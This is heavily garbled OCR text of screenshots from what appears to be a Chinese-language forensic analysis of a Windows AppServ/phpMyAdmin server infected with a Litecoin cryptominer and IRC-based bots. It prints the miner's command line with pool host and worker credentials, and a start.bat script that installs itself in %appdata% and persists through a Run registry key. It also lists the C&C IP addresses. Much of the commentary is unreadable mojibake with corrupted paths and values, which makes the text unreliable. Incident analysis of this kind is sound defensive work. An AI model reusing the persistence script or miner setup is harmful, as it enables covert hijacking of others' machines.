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8% Process Explorer - Sysinternals: www sysinternals.com [WW WiAdministrator]
File Options View Process Find Users Help

FIEIEEEEIEEI Y- |l & L sl
Frocess -l Frivate B| Working ...| FID | Diezcription | Company MName |
_egmvc exe 1,304 K 4112 K 9258 Adobe Acrobat Upda... Adobe Systems Incorporated
= % hitpd exe 14,384 K 17512 E 1076 Apache HTTE Server  Apache Software Foundation
B % httpd.exe O... 40628K 40456 K 2200 Apache HTTP Server  Apache Software Foundation
BEicmd.exe 2,340 K 3940 K 2724 Windows fp< B, Microsoft Corporation
[mftp.exze 1308 K 3088 K 3024 ﬁ"f@iﬂﬁf_ﬁ Microsoft Corporation
EEdcmd.exe 230K 3,936 K 2396 Windows g5<E#... Microsoft Corporation
[mftp.exze L3S K 3980 K 2602 fEZ{EsgiE= Microsoft Corporation
EEdcmd.exe 2,336 K 3,936 K 1920 Windows < E#... Microsoft Corporation
[mftp.exze LD K 3976 K 2140 8% EegiE s Microsoft Corporation
BB cmd.exe 2,340 K 3,932 K 2328 Windows fF<BRH... Microsoft Corporation
[ ftp.exe 1308 K 3988 K 4060 fEZ EagiE= Microsoft Corporation
= Tevchost.eze 5040 K Q953 K 1104 Windows Services ... Microsoft Corporation
[ svchost.eze 5400 K Q028 K 11258 Windows Services ... Microsoft Corporation
[=1 [PRO8etMonitor.exe 2224 K 5,048 K 1145 Intel® FECSet Monit... Intel Corporation
" mysqgld-nt.exe 16,464 K 9328 K 1232
[ svchost.eze 1,500 K 3432 K 1320 Windows Services ... Microsoft Corporation
o (@ I < 0. 6354k 0,10 K NN
2 Program = (... 1212 K 4008 K 27388
["svchost.eze 6,104 K 10420 K 1412 Windows Services ... Microsoft Corporation
2T VivaldiFramework exe 1ETEE 4,588 K 1496
BEicmd.exe 3628 K 1576 Windows s 2., Microsoft Corporation
j i 1) Flatform $... Sun Microsystems, Inc.
3 252 K 7, ?60 K 2224 Windows Services ... Microsoft Corporation
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phpMyAdmin 2.10.3 setup

Welcome

@ You want to configure phpMyAdmin using web interface. Please note that this only allows basic setup, please read
documentation to see full description of all configuration directives.

Can not load or save configuration

£\ Please create web server writable folder config in phpMyAdmin toplevel directory as described in documentation.
Otherwise you will be only able to download or display it.

Not secure connection

2\ You are not using secure connection, all data (including sensitive, like passwords) are transfered unencrypted! If your
server is also configured to accept HTTPS request follow this link to use secure connection.

Available global actions (please note that these will delete any changes you could have done above):

Servers

Layout

Navigation frame

Features

| \Browsing\

\Editing| ‘ \Querywindow| ‘

|Upload/Download]

‘Security‘ ‘ |MySQL

‘r‘L t : ‘ |Exlen5ions|

[MIME/Relation/History] ‘

Configuration

[overview| | [Display| ‘ [Download| | save

eelthanactions
2. JEQ i 5 T) apache 3 & % 2.2.8.0 3 % % Appserv ehE ik
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Load ‘

| DOSMindows (irin) V| [Change end of line|
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i hitpd exe:2200 Properties - | Ellll

Security | Environment | Strings |
mage | Performance | PerformanceGraph | DiskandMetwork | Threads | TCR/P
Image File

\ Apache HTTP Server
Apache Software Foundation
| vVersion:  2.2.3.0 |

Build Time: Fri Jan 18 14:37:24 2008

| |C:‘|,App5erv‘l,ﬂpad’1e2.2‘lbin\,‘1tmd.exe I Explore |

Command line:

IC:WpServ‘lApameZ.Z\bin%tmd.exe -d C:f/AppServ/Apache2. 2

Current directory:

IC:\AppServ\ApaﬁeZ.Z\

Autostart Location:

|HKLM‘lSystem‘l,Currenﬁ:ontrolSet\Services‘l,n.pamez.2 Explore |

Parent:  httpd.exe(1078) |
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d cmd.exe #TH 7 ehdp £ W 0 € 2 37 - B K & 423" minerbat it
Z 4% "emd.exe /c “minerbat” argl J 0 F # {7 AT A L B R T AL &
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e+, cmd _exe-3820 Properties ;lglﬁl

Threads | TcPP | Securty | Environment | Strings |
Image I Performance | Performance Graph |  Disk and Netwerk

Image File
Windows &5 FBRIETE R
Microsoft Corporation

Version:  6.1.7601.17514
Build Time: Sat Mow 20 17:00:27 2010
Path:

|C:\Windows‘lSysWOWGﬂmd.exe Explore |

Command line:

!crnd.exe fc "miner.bat” argl

Current directory:
|C: \Users\Administrator\AppData’ocal{Temp 1}
Alfostart Locaton:

Infa Explorel

Parent:  <Non-existent Process>(1032) e
$ofEMinerbat shph 7 ¥ #F I 2 F 3 7 RS mgenume exe:
e ¥ 3 T SdceEnfoport3334 5 B 5 AR Ei%a T
(Litecoin)erdz gg# > Z o7 p485% A4 i7 i e 17 35—%\% LR
% chtk = pkdscn.windows o
a. i virustotal 5+ # 4 > genuine.exe i+ 5 7 4 2| %5

BitCoinMiner e & & 423" » W R &) 5 37/49 -

b.  F#E W enghs L eu-lliteguardian.com > IP £_178.32.41.39 > i+t
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genuine.exe -o gtratumtep: /feun-1.liteguardian.con:3334 -u bkdscn.windows -p x --no-longpoll -a scrypt -q




B zenuine exe:3572 Properties o |EI|1|

Image |Performance I Performance Graph I Disk and Networkl Threads I TCP/IP I Security | F_n\rironmentl Strings I

~Image File

[H

Version: nfa

Build Time: Thu Jul 18 22:00:44 2013

Path:

|C: Wsers\Administrator \AppDataiLocal Temp' 1igenuine . exe Explore |

Command line:
|genuine.exe -0 stratum-+tcp:/feu-1.liteguardian. com: 3334 -u bkdscn.windows -p x --no-ongpell -a scrypt g

Current directory:
|C: \Wsers\Administrator \AppDataiLocal Tempi1}
Autostart Location:

Infa Explaore |

Parent:  cmd.exe(3820)

Verify I
_inix]
Security I Enviranment I Strings I
Image | Performance | PerformanceGraph | DiskandNetwork |  Threads TCP(IP
[~ Besolve addresses
P | Local Address Eemote Address State |
TCP 163 047739 (178.32.41.39:3334 |[ESTABLISHED
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D. # & ¥ ##%5% #73d & e =k https://www.litequardian.com/ #%gx 5 LTC %

4 %+ (Litecoin) s3g 74 4 =k (Mining Pool) LiteGuardian » st fexb 345 ¢ R

e -

# Home

E Login

4+ Register

R Password Welcome to LiteGuardian LTC Mining Pool - Your Mission Control for om

R’e‘set your LiteGuardian Mining Account. . . o
g Request An Why An Invite Is Required: LiteGuardian is a Regular LTC PPS

Invite Mining Pool, the invite system lets us regulate new miners if the

hashrate is ever too high (51% attack concerns). In this situation
open invites would be disabled and only existing miners would be
able to send out invites

Request An Invite
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[ startbat

SET %INSTALLPATH%=%appdata%\genuine

mkdir %appdata%)\genuine

copy * %appdata%\genuine

reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "genuine”
- /d "\"%appdata%\genuine\" exec hide \"%appda%\start.bat\"" /t

—

CHP cmd.exe /¢ "miner.bat" arg:
clear

F. otk 828 0 S 3 P 7 54250 gaozexe 5 — B p fERAEE > fRR (S §
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95.64.38.108:6667 3 i¥ ~ & TCPSYN #f¢ -

| Security I Environment | Job I Strings |
Image | Performance I Performance Graph I GPU Graph I Threads I TCR/IP |
Image File
Version: nfa f
Build Time: Sun Sep 23 07:12:54 2012
Path:
C:\Wserswhoami\AppDataiLocal Tempspoalsy
Command line:
I C:\Userswhoami\AppData'Local Templspoolsy 1
Current directory:
C:\Usersiwhoami\Desktop _— ]
Autostart Location:
nfa Explore
|| spoolsv:3668 Properties - |E = 2
[ Security [ Environment | Job | Strings |
| Image I Performance I Performance Graph | GPU Graph I Threads | TCR/TP

[ Resolve addresses

Prot... cal Address Remote Address  State
TCP 1485 195.64.38.108:6667 SYN_SENT

{8

l. ¥ 7 #% stop.exe = * kit genuine.exe 37 F AR ihdp 4 0@ 2% E Bl
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Build Time: Sun Sep 23 07:12:54 2012

T
Security Environment Strings
Image I Performance | Performance Graph | Disk and Metwork | Threads | TCP/IP
rImage File
S
Version: nfa

Path:
IC: \Users\Administrator \AppData\Local{Temp!1Ysass

Explore |

ommand line;

IC: Wsers\ADMINI~1\AppData\Local{Temp\1ysass 1

[” Resolve addresses

Current directory:
IC: Iwindows\SysWOWe4,
Autostart Location:
Infa Explare |
Parent:  <MNon-existent Process=(2792) |
Merify
lzass:3460 Properties - 10| 7
Security I Environment Strings |
Image I Performance I Performance Graph I Disk and Metwork I Threads TCP/IP

PA

| Local Address

| Eemote Address

| State |

TCP

163

156531

62.24.103.148:6667

ESTABLISHED
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WampServer % & 2 %
LR T o

v 2

Y

- 5 Web server » & * ch
% — 5 C&Cserver * % T i DDOS #ﬁ &

3 @ WAMP &_#& % Windows+Apache+MySQL+PHP - & p 22 MySQL

%;21#

I @ WAMPSERVER Homepage

& @ 6224103148

o
W

WampServer

Apache Version :
PHP Version :

Loaded Extensions :

Server Configuration

2.2.22
5.3.13

& Core
o ctype

PhpMyAdmin % SqlBuddy % #: %8 o
[+ I

© e | 8- Google Pl B~

Version 2.2 Version Frangaise

M bcmath P calendar P com_dotnet
& date M ereg o filter
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A. BL% minerbat $4 {7 {5 2 4 el AR R EAE 0 T UG FIRE- B A6
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“cpuminer/2.3.2” > }* #f# * CPU FiRE(7FEE o

NetWitness Reconstruction for session ID: 2 ( Source 1461, Target 178.32.41.°

Time3/27/201415:20:22t03/27/201415:23:34 PacketSize 4,688 bytes Payload Size 3,434 bytes
Protocol 2048/6/0 Flags Keep Assembled AppMeta NetworkMeta Packet Count 22

{"1d": 1, "method": "mining.subzcribe", "paramz":|["cpuminer/Z2.3.2"]} A

ASARR

{"error": null, "id": 1, "result": [["mining.notify", "aefflZebdcd?7352302a8a9449
scf?If"], "féfécdal”, 41}

{"params": [96], "id": null, "method": "mining.gzet_difficultsy"}

{"parang": ["d78", "d61e07174f13c20a3046360aef8c3abas61b3ccT1213004be7cTa440bfad8
ag6", "01000000010000000000000000000000000000000000000000000000000000000000000000
FEFFFFEF27023 138080621 5032534821 04F941335308", "0d2£ 7374726 17475645061 6f 6200000
00001214de92a010000001976a914c7105918576c7 caef5e 15073174441 161215355a88a¢00000000
", [M61353da988d66651e281c673df5dc910e85f9718214359a7h4e1335¢1d1f975¢", "b261a873
098565 cd3c78a62c20a4f 1531592828 1d956c42a2e5528195e369a2", "454587d90¢a5932a858¢c
42794c5a15c4de 18281 17174235¢ac1d0a73308270", "5e8f5%e68adch5349338def 64073 bbe
1f038a0614217772d270e edfc0e64", "76ad7fb504d43009441682147adel9aa2cddB52 189950060
78d5817d942bd3712" ], "00000002", "1bOcléce", "5333d19e", truel, "id": null, "meth
od": "mining.notify"}
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NetWitness Reconstruction for session 1D: 2 ( Source 1461, Target 1/78.32.41.:

Time 3/ 5:20:2 /2014 15:2 Packet Size 4,688 bytes Payload Size 3,434 bytes

Protocol 20 0 p Assembled AppMeta NetworkMeta Packet Count 22

"id"s 2, "method": "mining.authorize", "paramz": |["bkdscn.windowas", "x"]}l A
{"error”: null, "id": 2, "result":[true}| E
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